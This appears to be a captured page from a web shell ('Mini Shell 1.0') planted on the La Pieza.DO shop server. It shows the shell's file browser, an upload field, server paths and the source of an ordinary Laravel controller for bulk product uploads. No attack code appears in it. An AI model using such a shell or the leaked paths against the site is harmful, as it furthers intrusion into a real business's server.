HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Seller/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Seller/ProductBulkUploadController.php
<?php

namespace App\Http\Controllers\Seller;

use App\Models\Brand;
use App\Models\Category;
use App\Models\ProductsImport;
use Auth;
use Excel;
use Illuminate\Http\Request;
use PDF;

class ProductBulkUploadController extends Controller {
    public function index() {
        if (Auth::user()->shop->verification_status) {
            return view('seller.products.product_bulk_upload.index');
        } else {
            flash(translate('Your shop is not verified yet!'))->warning();
            return back();
        }
    }

    public function pdf_download_category() {
        $categories = Category::all();
        return PDF::loadView('backend.downloads.category', [
            'categories' => $categories,
        ], [], [])->download('category.pdf');
    }

    public function pdf_download_brand() {
        $brands = Brand::all();
        return PDF::loadView('backend.downloads.brand', [
            'brands' => $brands,
        ], [], [])->download('brands.pdf');
    }

    public function bulk_upload(Request $request) {
        if ($request->hasFile('bulk_file')) {
            $import = new ProductsImport;
            Excel::import($import, request()->file('bulk_file'));
        }
        return back();
    }
}